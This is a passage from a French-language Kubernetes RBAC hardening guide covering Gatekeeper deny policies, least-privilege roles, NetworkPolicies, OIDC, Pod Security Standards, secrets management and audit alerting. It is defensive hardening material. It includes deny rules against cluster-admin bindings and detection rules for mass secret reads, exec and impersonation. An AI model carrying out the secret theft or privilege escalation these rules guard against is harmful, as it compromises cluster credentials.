  enforcementAction: deny
  match:
    kinds:
    - apiGroups: ["rbac.authorization.k8s.io"]
      kinds: ["Role", "ClusterRole"]
    excludedNamespaces:
    - kube-system  # Exclure les rôles système
  parameters:
    allowedWildcardRoles:
    - "cluster-admin"  # Seul cluster-admin peut avoir des wildcards

---
# Constraint Template — interdire les bindings vers cluster-admin
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sblockclusteradminbinding
spec:
  crd:
    spec:
      names:
        kind: K8sBlockClusterAdminBinding
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8sblockclusteradminbinding

        violation[{"msg": msg}] {
          is_binding
          input.review.object.roleRef.name == "cluster-admin"
          not is_system_binding
          msg := sprintf("La création de bindings vers le rôle cluster-admin est interdite. Binding: '%v'. Utilisez des rôles avec des permissions spécifiques.", [input.review.object.metadata.name])
        }

        is_binding {
          input.review.kind.kind == "ClusterRoleBinding"
        }
        is_binding {
          input.review.kind.kind == "RoleBinding"
        }

        is_system_binding {
          startswith(input.review.object.metadata.name, "system:")
        }

---
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockClusterAdminBinding
metadata:
  name: block-cluster-admin-binding
spec:
  enforcementAction: deny
  match:
    kinds:
    - apiGroups: ["rbac.authorization.k8s.io"]
      kinds: ["ClusterRoleBinding", "RoleBinding"]

---
# Constraint — imposer automountServiceAccountToken: false
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sdisableautomounttoken
spec:
  crd:
    spec:
      names:
        kind: K8sDisableAutomountToken
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8sdisableautomounttoken

        violation[{"msg": msg}] {
          input.review.kind.kind == "Pod"
          not pod_explicitly_disables_automount
          msg := "Les pods doivent explicitement définir automountServiceAccountToken: false ou utiliser des projected service account tokens."
        }

        pod_explicitly_disables_automount {
          input.review.object.spec.automountServiceAccountToken == false
        }

        # Permettre les pods avec des projected tokens
        pod_explicitly_disables_automount {
          input.review.object.spec.volumes[_].projected.sources[_].serviceAccountToken
        }

L'avantage fondamental de Gatekeeper sur la configuration RBAC seule est qu'il contrôle ce qui peut être créé, pas seulement qui peut le créer. Un utilisateur ayant la permission create clusterrolebindings (nécessaire pour ses fonctions d'administration) sera empêché de créer un binding vers cluster-admin par la contrainte Gatekeeper, même si ses permissions RBAC l'autorisent. Cette séparation entre les permissions (RBAC) et les politiques (Gatekeeper) offre une défense en profondeur robuste.

Pour une couverture complète, les bibliothèques de contraintes Gatekeeper comme la Gatekeeper Library (anciennement PSP Migration Library) fournissent des templates prêts à l'emploi couvrant les principales recommandations de sécurité : interdiction des conteneurs privilégiés, restriction des hostPaths, limitation des capabilities Linux, et bien sûr les contraintes RBAC présentées ici. La personnalisation de ces templates pour le contexte spécifique de l'organisation est recommandée plutôt que leur application générique.

Patterns de moindre privilège en production

L'application du principe du moindre privilège dans Kubernetes RBAC exige des patterns de configuration adaptés aux différentes catégories de charges de travail et d'utilisateurs. Les patterns suivants, validés en environnement de production, constituent un point de départ pour la conception de politiques RBAC sécurisées.

# Pattern 1: Application stateless (API backend)
# Besoin: lire sa configuration, rien d'autre
apiVersion: v1
kind: ServiceAccount
metadata:
  name: api-backend
  namespace: production
automountServiceAccountToken: false  # Pas d'accès à l'API Kubernetes

---
# Pattern 2: Application nécessitant des secrets dynamiques
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: secret-reader
  namespace: production
rules:
- apiGroups: [""]
  resources: ["secrets"]
  resourceNames: ["db-creds", "redis-creds", "tls-cert"]  # Secrets NOMMÉS uniquement
  verbs: ["get"]  # Pas de list (empêche l'énumération)

---
# Pattern 3: Opérateur Kubernetes custom (CRD controller)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: myapp-operator
rules:
# Accès aux CRDs gérés par l'opérateur
- apiGroups: ["myapp.example.com"]
  resources: ["myappresources", "myappresources/status"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# Accès aux ressources Kubernetes que l'opérateur gère
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["services", "configmaps"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# Accès en lecture seule aux pods (pour le status)
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
# Événements (pour le reporting)
- apiGroups: [""]
  resources: ["events"]
  verbs: ["create", "patch"]
# PAS d'accès aux secrets (utiliser External Secrets Operator si besoin)
# PAS d'accès aux nodes, namespaces, clusterroles

---
# Pattern 4: Développeur avec accès limité à son namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: developer
  namespace: staging
rules:
- apiGroups: ["", "apps", "batch"]
  resources: ["pods", "deployments", "replicasets", "jobs", "cronjobs",
              "services", "configmaps", "ingresses"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["pods/log", "pods/portforward"]  # Debug mais pas exec
  verbs: ["get", "create"]
# PAS de pods/exec (empêche l'exécution de commandes dans les pods)
# PAS de secrets (les credentials sont gérés par la plateforme)
# PAS de persistentvolumeclaims (gérés par l'infrastructure)

---
# Pattern 5: SRE / Platform Engineer
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: platform-engineer
rules:
- apiGroups: [""]
  resources: ["nodes", "namespaces", "persistentvolumes"]
  verbs: ["get", "list", "watch"]
- apiGroups: [""]
  resources: ["pods", "services", "configmaps", "events"]
  verbs: ["get", "list", "watch"]
  # Lecture seule sur les namespaces de production
- apiGroups: ["apps"]
  resources: ["deployments", "statefulsets", "daemonsets"]
  verbs: ["get", "list", "watch"]
- apiGroups: ["networking.k8s.io"]
  resources: ["networkpolicies", "ingresses"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["pods/log"]
  verbs: ["get"]
# L'accès en écriture aux workloads de production passe par GitOps (ArgoCD)
# PAS de cluster-admin, PAS de modification de RBAC

Le pattern le plus important est la séparation entre les environnements. Les développeurs ont des permissions étendues dans les namespaces de développement et staging (create, update, delete sur les workloads), des permissions en lecture seule dans les namespaces de production (get, list, watch), et aucun accès aux namespaces système (kube-system, cert-manager, ingress-nginx). Les modifications en production transitent exclusivement par le pipeline GitOps (ArgoCD, Flux), dont le ServiceAccount dispose des permissions de déploiement — pas les développeurs directement.

La revue régulière des permissions est aussi importante que leur configuration initiale. Les besoins évoluent, les applications changent, les équipes se réorganisent, et les permissions accordées il y a six mois peuvent ne plus correspondre aux besoins actuels. Un processus de revue trimestrielle, automatisé par les outils d'audit présentés précédemment, identifie les permissions inutilisées et les écarts par rapport aux patterns établis. Cet article sur les attaques CI/CD avancées et GitOps détaille les implications sécuritaires des pipelines ArgoCD et Flux, un complément essentiel à la configuration RBAC.

Segmentation par namespace et Network Policies

La segmentation par namespace est le mécanisme principal d'isolation logique dans Kubernetes. Les namespaces délimitent les périmètres d'accès RBAC (un RoleBinding n'a d'effet que dans son namespace), les quotas de ressources, et les politiques réseau. Une stratégie de namespace bien conçue est le fondement de la sécurité RBAC.

# Stratégie de namespaces recommandée

# Namespace d'infrastructure — accès restreint à l'équipe plateforme
apiVersion: v1
kind: Namespace
metadata:
  name: platform-infra
  labels:
    pod-security.kubernetes.io/enforce: restricted
    team: platform

---
# Namespace par équipe et environnement
apiVersion: v1
kind: Namespace
metadata:
  name: team-backend-production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    team: backend
    environment: production
    data-classification: confidential

---
apiVersion: v1
kind: Namespace
metadata:
  name: team-backend-staging
  labels:
    pod-security.kubernetes.io/enforce: baseline
    team: backend
    environment: staging
    data-classification: internal

---
# Network Policy — isolation par défaut
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: team-backend-production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

---
# Network Policy — autoriser le trafic légitime
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-backend-traffic
  namespace: team-backend-production
spec:
  podSelector:
    matchLabels:
      app: api-backend
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          team: frontend
      podSelector:
        matchLabels:
          app: web-frontend
    ports:
    - protocol: TCP
      port: 8080
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          purpose: database
      podSelector:
        matchLabels:
          app: postgresql
    ports:
    - protocol: TCP
      port: 5432
  # Autoriser le DNS
  - to:
    - namespaceSelector: {}
      podSelector:
        matchLabels:
          k8s-app: kube-dns
    ports:
    - protocol: UDP
      port: 53

---
# ResourceQuota — limiter les ressources par namespace
apiVersion: v1
kind: ResourceQuota
metadata:
  name: team-backend-quota
  namespace: team-backend-production
spec:
  hard:
    pods: "50"
    services: "20"
    secrets: "30"
    configmaps: "30"
    persistentvolumeclaims: "10"
    requests.cpu: "20"
    requests.memory: "40Gi"
    limits.cpu: "40"
    limits.memory: "80Gi"

La politique réseau default-deny-all est la première Network Policy à déployer dans chaque namespace de production. Elle bloque tout trafic entrant et sortant par défaut, forçant la création de Network Policies explicites pour chaque flux de communication autorisé. Cette approche « deny by default » est l'équivalent réseau du moindre privilège RBAC et empêche la communication latérale entre pods de namespaces différents en cas de compromission.

Approfondissement technique

La combinaison RBAC + Network Policies + PodSecurity Standards forme un triangle de sécurité où chaque côté compense les faiblesses des autres. Le RBAC contrôle qui peut manipuler les objets Kubernetes, les Network Policies contrôlent qui peut communiquer avec qui au niveau réseau, et les PodSecurity Standards contrôlent ce que les conteneurs peuvent faire au niveau système. Un attaquant doit contourner les trois mécanismes pour obtenir un accès significatif, ce qui augmente considérablement la difficulté de l'exploitation.

La stratégie de namespaces doit également prendre en compte les multi-tenant patterns pour les clusters partagés entre plusieurs équipes ou clients. Le pattern « namespace per team per environment » (team-backend-production, team-backend-staging, team-frontend-production, etc.) offre une isolation claire avec des frontières de sécurité bien définies. Le pattern « namespace per microservice » offre une granularité plus fine mais multiplie le nombre de namespaces et la complexité de gestion RBAC. Le choix dépend de la taille de l'organisation et de la sensibilité des charges de travail — les environnements gérant des données de différents clients (SaaS multi-tenant) nécessitent une isolation plus stricte, potentiellement avec des clusters dédiés par client pour les niveaux de sensibilité les plus élevés.

Les Resource Quotas et Limit Ranges complètent la segmentation par namespace en empêchant un namespace de consommer plus de ressources que son allocation, créant un mécanisme de protection contre les dénis de service inter-namespaces. Un pod compromis dans un namespace ne peut pas épuiser les ressources du cluster entier si les quotas sont correctement configurés. Les quotas sur le nombre de Secrets limitent également la capacité d'un attaquant à créer de nombreux Secrets contenant des données exfiltrées.

Pour les clusters EKS, AKS et GKE, les fonctionnalités cloud-natives de Network Policy Enforcement doivent être activées explicitement. Sur EKS, le VPC CNI avec Calico ou le Cilium CNI est nécessaire. Sur AKS, Azure Network Policies ou Calico doivent être activés lors de la création du cluster. Sur GKE, Dataplane V2 (basé sur Cilium/eBPF) est activé par défaut sur les nouveaux clusters depuis 2024 et offre des Network Policies natives avec des performances supérieures aux implémentations iptables traditionnelles. L'absence d'un contrôleur de Network Policy rend les objets NetworkPolicy ineffectifs — ils sont acceptés par l'API Server mais n'ont aucun effet sur le trafic réseau, créant un dangereux faux sentiment de sécurité.

Intégration OIDC et gestion des identités utilisateur

L'authentification des utilisateurs humains dans Kubernetes en production repose presque exclusivement sur l'intégration avec un fournisseur d'identité externe via OpenID Connect (OIDC). Les certificats x509 sont utilisés pour les composants système et les automatisations, mais leur gestion pour les utilisateurs humains est impraticable à grande échelle (pas de révocation individuelle, pas de MFA, pas de SSO). Pour les organisations utilisant Microsoft Entra ID, l'intégration OIDC avec Kubernetes permet d'appliquer les politiques Conditional Access aux accès kubectl, un sujet que nous couvrons dans notre article sur le Conditional Access et MFA dans Entra ID.

# Configuration de l'API Server pour l'authentification OIDC
# (ajout aux arguments de l'API Server)

--oidc-issuer-url=https://login.microsoftonline.com/TENANT_ID/v2.0
--oidc-client-id=kubernetes-kubectl
--oidc-username-claim=email
--oidc-groups-claim=groups
--oidc-username-prefix=oidc:
--oidc-groups-prefix=oidc:

# Configuration kubeconfig pour l'utilisateur
apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://k8s-api.example.com:6443
    certificate-authority-data: LS0t...
  name: production
contexts:
- context:
    cluster: production
    namespace: default
    user: alice@example.com
  name: production
current-context: production
users:
- name: alice@example.com
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: kubelogin
      args:
      - get-token
      - --environment=AzurePublicCloud
      - --server-id=kubernetes-api-server-app-id
      - --client-id=kubernetes-kubectl-app-id
      - --tenant-id=TENANT_ID
      - --login-type=interactive

---
# RoleBinding utilisant les groupes OIDC
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: backend-developers-staging
  namespace: staging
subjects:
- kind: Group
  name: oidc:backend-developers  # Groupe Entra ID préfixé
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: edit
  apiGroup: rbac.authorization.k8s.io

---
# ClusterRoleBinding pour les platform engineers
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: platform-engineers-binding
subjects:
- kind: Group
  name: oidc:platform-engineers
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: platform-engineer  # ClusterRole custom défini précédemment
  apiGroup: rbac.authorization.k8s.io

L'utilisation des groupes OIDC pour les bindings RBAC (plutôt que des utilisateurs individuels) simplifie considérablement la gestion des permissions. L'ajout ou le retrait d'un utilisateur d'un groupe dans le fournisseur d'identité modifie automatiquement ses permissions Kubernetes sans modification des objets RBAC. La gestion centralisée des groupes permet également l'application de processus d'approbation et d'audit pour les changements de permissions, intégrés dans les workflows IAM existants de l'organisation.

Pratique recommandée : Ne créez JAMAIS de RoleBindings ou ClusterRoleBindings ciblant des utilisateurs individuels en production. Utilisez exclusivement des groupes (OIDC groups, LDAP groups) pour les sujets des bindings. Les changements de permissions se font dans le fournisseur d'identité (ajout/retrait de groupe), pas dans le cluster. Cette approche centralise la gouvernance et fournit un audit trail complet dans le système IAM.

Pod Security Standards : complément indispensable au RBAC

Les Pod Security Standards (PSS) constituent le mécanisme natif Kubernetes (depuis la version 1.25 en GA) pour contrôler les propriétés de sécurité des pods créés dans un namespace. Contrairement au RBAC qui contrôle qui peut créer un pod, les PSS contrôlent ce que le pod peut faire — une distinction fondamentale pour la prévention de l'escalade de privilèges. Les trois niveaux de PSS (Privileged, Baseline, Restricted) offrent une graduation de restrictions applicables selon la sensibilité du namespace.

Le niveau Privileged n'impose aucune restriction — c'est le comportement par défaut et il ne doit être utilisé que pour les namespaces système (kube-system) qui hébergent des composants nécessitant un accès bas niveau au nœud. Le niveau Baseline bloque les configurations les plus dangereuses : conteneurs privilégiés, hostNetwork, hostPID, hostIPC, hostPath dangereux, et ajout de capabilities comme NET_RAW. Le niveau Restricted applique les bonnes pratiques de sécurité les plus strictes : exécution en tant que non-root, système de fichiers en lecture seule, suppression de toutes les capabilities, profil seccomp obligatoire.

# Application des Pod Security Standards via les labels de namespace

# Namespace production — niveau Restricted (le plus sécurisé)
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest

---
# Namespace staging — niveau Baseline (modéré)
apiVersion: v1
kind: Namespace
metadata:
  name: staging
  labels:
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted   # Auditer ce qui serait bloqué en restricted
    pod-security.kubernetes.io/warn: restricted    # Avertir sur les violations restricted

---
# Namespace kube-system — niveau Privileged (nécessaire pour les composants système)
apiVersion: v1
kind: Namespace
metadata:
  name: kube-system
  labels:
    pod-security.kubernetes.io/enforce: privileged

---
# Pod conforme au niveau Restricted
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
  namespace: production
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: registry.example.com/app:v2.1.0@sha256:abc123...  # Image avec digest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
          - ALL
    resources:
      limits:
        cpu: "500m"
        memory: "256Mi"
      requests:
        cpu: "100m"
        memory: "128Mi"
    volumeMounts:
    - name: tmp
      mountPath: /tmp
  volumes:
  - name: tmp
    emptyDir: {}  # Volume éphémère pour /tmp au lieu du filesystem root

L'interaction entre PSS et RBAC est fondamentale pour la sécurité du cluster. Le RBAC autorise un utilisateur à créer des pods dans un namespace, mais les PSS du namespace déterminent quelles configurations de pod sont acceptées. Un développeur avec la permission create pods dans un namespace Restricted ne pourra pas créer de pod privilégié, de pod avec hostPath, ou de pod exécuté en tant que root — neutralisant les vecteurs d'escalade de privilèges documentés précédemment. Cette combinaison permet d'accorder la permission create pods plus largement tout en maintenant un contrôle strict sur ce que les pods peuvent faire.

La migration vers les PSS depuis les anciennes Pod Security Policies (PSP, supprimées en Kubernetes 1.25) nécessite une planification attentive. L'utilisation des modes audit et warn avant l'activation du mode enforce permet d'identifier les pods existants qui violeraient la politique et de les corriger avant l'activation du blocage. Les labels d'audit génèrent des événements dans les audit logs Kubernetes, et les labels de warning génèrent des messages d'avertissement dans la réponse API (visibles dans la sortie kubectl), sans bloquer la création du pod.

Secrets management et alternatives au stockage RBAC

La gestion des Secrets dans Kubernetes est indissociable de la sécurité RBAC car les Secrets contiennent les credentials les plus sensibles du cluster (tokens de bases de données, clés API, certificats TLS). La permission get secrets dans un namespace donne accès à l'intégralité des credentials de ce namespace — un risque souvent sous-estimé. Les alternatives au stockage natif de Secrets dans etcd améliorent significativement la posture de sécurité.

# Alternatives au stockage natif des Secrets Kubernetes

# 1. External Secrets Operator — synchronise les secrets depuis un vault externe
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: db-credentials
  namespace: production
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: vault-backend
    kind: ClusterSecretStore
  target:
    name: db-credentials  # Secret K8s créé automatiquement
    creationPolicy: Owner
  data:
  - secretKey: username
    remoteRef:
      key: production/database/credentials
      property: username
  - secretKey: password
    remoteRef:
      key: production/database/credentials
      property: password

---
# 2. CSI Secret Store Driver — monte les secrets comme volumes
apiVersion: secrets-store.csi.x-k8s.io/v1
kind: SecretProviderClass
metadata:
  name: vault-db-creds
  namespace: production
spec:
  provider: vault
  parameters:
    vaultAddress: "https://vault.example.com:8200"
    roleName: "app-backend-role"
    objects: |
      - objectName: "db-username"
        secretPath: "secret/data/production/database"
        secretKey: "username"
      - objectName: "db-password"
        secretPath: "secret/data/production/database"
        secretKey: "password"

---
# Pod utilisant le CSI driver (pas de Secret K8s créé)
apiVersion: v1
kind: Pod
metadata:
  name: app-with-vault-secrets
  namespace: production
spec:
  serviceAccountName: app-backend
  containers:
  - name: app
    image: registry.example.com/app:v2.1.0
    volumeMounts:
    - name: secrets
      mountPath: /mnt/secrets
      readOnly: true
  volumes:
  - name: secrets
    csi:
      driver: secrets-store.csi.k8s.io
      readOnly: true
      volumeAttributes:
        secretProviderClass: vault-db-creds

---
# 3. Sealed Secrets — chiffrement des secrets dans Git
# Les Sealed Secrets permettent de stocker les secrets chiffrés dans Git
# Seul le contrôleur dans le cluster peut les déchiffrer
apiVersion: bitnami.com/v1alpha1
kind: SealedSecret
metadata:
  name: db-credentials
  namespace: production
spec:
  encryptedData:
    username: AgA3c...base64_encrypted...
    password: AgBz7...base64_encrypted...

L'utilisation d'External Secrets Operator ou du CSI Secret Store Driver élimine la nécessité de stocker les credentials dans les Secrets Kubernetes natifs, ce qui présente plusieurs avantages de sécurité RBAC. Premièrement, la permission get secrets dans le namespace ne donne plus accès aux credentials réels (le Secret K8s ne contient qu'une référence, pas la valeur). Deuxièmement, la rotation des secrets est gérée par le vault externe sans modification des manifestes Kubernetes. Troisièmement, l'audit des accès aux secrets est centralisé dans le vault (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager) avec des logs d'accès plus riches que les audit logs Kubernetes.

Pour les clusters où les Secrets natifs sont toujours utilisés, le chiffrement at-rest d'etcd est une protection minimale obligatoire. Par défaut, les Secrets sont stockés en base64 (pas de chiffrement) dans etcd. La configuration EncryptionConfiguration de l'API Server active le chiffrement AES-CBC ou AES-GCM des données sensibles. Les fournisseurs de Kubernetes managés (EKS, AKS, GKE) activent le chiffrement at-rest par défaut avec des clés gérées par le cloud, mais permettent également l'utilisation de clés client (customer-managed keys) pour un contrôle total.

Monitoring et alerting des événements RBAC

Le monitoring des événements RBAC est indispensable pour détecter les tentatives d'escalade de privilèges, les modifications non autorisées de permissions, et les utilisations suspectes de comptes à privilèges. Les audit logs de Kubernetes capturent chaque requête API avec le contexte complet (utilisateur, action, ressource, résultat) et constituent la source de données principale pour le monitoring RBAC.

# Configuration des Audit Logs Kubernetes
# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# Logger toutes les modifications RBAC en détail
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["roles", "clusterroles", "rolebindings", "clusterrolebindings"]

# Logger les accès aux secrets (sans le contenu)
- level: Metadata
  resources:
  - group: ""
    resources: ["secrets"]

# Logger la création de pods (vecteur d'escalade)
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods"]
  verbs: ["create"]

# Logger les exec dans les pods
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods/exec", "pods/attach"]

# Logger les tentatives d'impersonation
- level: RequestResponse
  omitStages:
  - "RequestReceived"
  userGroups: ["system:authenticated"]
  verbs: ["impersonate"]

# Réduire le bruit des contrôleurs système
- level: None
  users: ["system:kube-scheduler", "system:kube-controller-manager"]
  resources:
  - group: ""
    resources: ["endpoints", "events"]

# Niveau minimal pour tout le reste
- level: Metadata
  omitStages:
  - "RequestReceived"

---
# Alertes Prometheus pour les événements RBAC critiques

# Alert: Nouveau ClusterRoleBinding créé
groups:
- name: rbac-security
  rules:
  - alert: ClusterRoleBindingCreated
    expr: |
      increase(apiserver_audit_event_total{
        verb="create",
        resource="clusterrolebindings"
      }[5m]) > 0
    for: 0m
    labels:
      severity: critical
    annotations:
      summary: "Nouveau ClusterRoleBinding créé"
      description: "Un ClusterRoleBinding a été créé. Vérifiez la légitimité de cette action."

  - alert: ClusterAdminBindingCreated
    expr: |
      increase(apiserver_audit_event_total{
        verb="create",
        resource="clusterrolebindings",
        objectRef_name=~".*cluster-admin.*"
      }[5m]) > 0
    for: 0m
    labels:
      severity: critical
    annotations:
      summary: "Binding vers cluster-admin créé"

  - alert: SecretAccessFromUnexpectedSA
    expr: |
      increase(apiserver_audit_event_total{
        verb="get",
        resource="secrets",
        user_username!~"system:.*"
      }[5m]) > 10
    for: 5m
    labels:
      severity: warning
    annotations:
      summary: "Accès massif aux secrets par un utilisateur non-système"

L'intégration des audit logs Kubernetes avec un SIEM (Microsoft Sentinel, Elastic SIEM, Splunk) permet la corrélation avec d'autres sources de données de sécurité et l'application de règles de détection avancées. Les scénarios d'alerte prioritaires incluent la création ou modification de ClusterRoleBindings, l'utilisation de l'impersonation, les accès aux secrets dans les namespaces système, la création de pods privilégiés, et les tentatives de lecture d'API refusées (code 403) en volume — indicateur d'une phase de reconnaissance par un attaquant. Notre article sur les use cases SIEM essentiels détaille les règles de détection applicables aux environnements Kubernetes.

FAQ

Quelle est la différence entre un Role et un ClusterRole dans Kubernetes RBAC ?

Un Role définit des permissions dans un namespace spécifique uniquement. Il ne peut référencer que des ressources à portée de namespace (pods, services, deployments, configmaps, secrets, etc.) et ses permissions ne s'appliquent que dans le namespace où il est créé. Un ClusterRole définit des permissions à portée de cluster. Il peut référencer des ressources à portée de namespace (auquel cas les permissions s'appliquent dans tous les namespaces si lié via un ClusterRoleBinding, ou dans un namespace spécifique si lié via un RoleBinding) ET des ressources à portée de cluster (nodes, namespaces, persistentvolumes, clusterroles eux-mêmes, nonResourceURLs). La règle pratique est : utilisez des Roles pour les permissions applicatives dans un namespace, utilisez des ClusterRoles pour les permissions nécessitant une portée cross-namespace ou pour les ressources non-namespace.

Comment empêcher un utilisateur ayant la permission create pods de créer des pods privilégiés ?

Le RBAC seul ne peut pas empêcher un utilisateur autorisé à créer des pods de créer des pods privilégiés — le RBAC contrôle le droit de créer des pods, pas les propriétés de ces pods. La restriction des propriétés des pods nécessite un contrôleur d'admission. Deux options principales existent en 2026 : les Pod Security Standards (natif Kubernetes), configurés via les labels de namespace (pod-security.kubernetes.io/enforce: restricted), qui bloquent les conteneurs privilégiés, les hostPaths, les hostNetworks et les capabilities excessives ; et OPA Gatekeeper (ou Kyverno), qui offre des politiques plus granulaires et personnalisables. La combinaison recommandée est d'appliquer les Pod Security Standards au niveau « restricted » pour les namespaces de production et d'utiliser Gatekeeper pour les contraintes supplémentaires spécifiques à l'organisation.

Comment révoquer l'accès d'un utilisateur OIDC au cluster en urgence ?

La révocation d'un accès OIDC dépend de la durée de vie des tokens. L'utilisateur continue d'avoir accès tant que son token OIDC est valide, même si son compte est désactivé dans le fournisseur d'identité. La procédure d'urgence comprend trois étapes simultanées : (1) désactiver le compte dans le fournisseur d'identité (Entra ID, Okta) pour empêcher l'émission de nouveaux tokens, (2) supprimer tous les RoleBindings et ClusterRoleBindings du groupe de l'utilisateur ou, si nécessaire, créer des RoleBindings explicites avec un ClusterRole « deny-all » pour l'utilisateur individuel, (3) si le cluster supporte l'API TokenReview avec validation en temps réel auprès du fournisseur OIDC (plutôt que la validation locale du JWT), la désactivation du compte dans l'IdP prend effet immédiatement. Pour réduire la fenêtre de vulnérabilité, configurez des durées de vie de token OIDC courtes (15-30 minutes) pour les accès aux clusters de production.

Faut-il accorder des permissions RBAC aux ServiceAccounts des pods qui ne communiquent pas avec l'API Kubernetes ?

Non. La grande majorité des applications (serveurs web, APIs, workers de queue, etc.) n'ont aucun besoin d'interagir avec l'API Kubernetes. Pour ces applications, la configuration optimale est : (1) créer un ServiceAccount dédié sans aucun Role/ClusterRole associé, (2) configurer automountServiceAccountToken: false sur le ServiceAccount et sur le pod, (3) ne PAS utiliser le ServiceAccount default du namespace car d'autres RoleBindings pourraient lui accorder des permissions. Cette configuration élimine le risque de vol de token ServiceAccount en cas de compromission du pod — il n'y a tout simplement pas de token à voler. Seuls les pods nécessitant un accès API (opérateurs, contrôleurs, agents de monitoring) doivent recevoir un ServiceAccount avec des permissions RBAC.

Mise en oeuvre opérationnelle

Comment détecter les ServiceAccounts avec des permissions excessives dans un cluster existant ?

L'audit des permissions des ServiceAccounts utilise la combinaison de plusieurs outils. kubectl-who-can identifie quels ServiceAccounts possèdent des permissions spécifiques critiques (create pods, get secrets, create clusterrolebindings). rbac-lookup --kind=serviceaccount liste toutes les permissions de chaque ServiceAccount. kubeaudit rbac signale les configurations dangereuses. Pour une analyse plus approfondie, l'outil rakkess (access-matrix) génère une matrice complète des permissions pour un ServiceAccount donné. La comparaison entre les permissions accordées et les permissions réellement utilisées (via l'analyse des audit logs) identifie les permissions inutilisées qui devraient être retirées. Un script d'audit automatisé devrait être exécuté hebdomadairement et signaler tout ServiceAccount ayant des permissions sur les secrets, les pods/exec, les clusterrolebindings, ou toute permission wildcard.

Les Managed Kubernetes Services (EKS, AKS, GKE) gèrent-ils le RBAC différemment ?

Les services Kubernetes managés ajoutent une couche d'authentification et d'autorisation spécifique au fournisseur cloud au-dessus du RBAC Kubernetes standard. Amazon EKS utilise aws-auth ConfigMap (legacy) ou EKS Access Entries (nouveau) pour mapper les identités IAM AWS aux utilisateurs/groupes Kubernetes. Azure AKS intègre nativement Entra ID pour l'authentification OIDC et peut utiliser Azure RBAC comme couche d'autorisation alternative ou complémentaire au RBAC Kubernetes natif. Google GKE utilise les identités Google Cloud IAM et offre une intégration native avec Google Groups pour les bindings RBAC. Dans tous les cas, le RBAC Kubernetes standard fonctionne identiquement une fois l'authentification établie. La particularité des services managés est que certains ClusterRoles et ClusterRoleBindings système sont gérés par le fournisseur et ne doivent pas être modifiés. De plus, l'accès à l'API Server est protégé par des mécanismes réseau spécifiques au cloud (private endpoints, authorized networks) qui constituent une couche de sécurité supplémentaire avant même l'évaluation RBAC.

Comment gérer les permissions RBAC de centaines de microservices sans créer un Role par service ?

La gestion RBAC à grande échelle s'appuie sur la composition et la réutilisation. Définissez des ClusterRoles par profil d'accès (config-reader, secret-consumer, event-emitter, leader-election) plutôt que par service. Chaque microservice combine les profils dont il a besoin via des RoleBindings multiples. Par exemple, un service nécessitant la lecture de ConfigMaps et l'écriture d'événements reçoit deux RoleBindings : un vers le ClusterRole config-reader et un vers le ClusterRole event-emitter. La gestion peut être automatisée via Helm charts (les templates créent les RoleBindings appropriés selon les valeurs) ou via des opérateurs dédiés à la gestion RBAC. Pour les environnements très larges, des outils comme Kyverno peuvent automatiser la création de RoleBindings basée sur des annotations de pods ou de namespaces, réduisant la charge de configuration manuelle.

Les Network Policies peuvent-elles remplacer le RBAC pour l'isolation inter-services ?

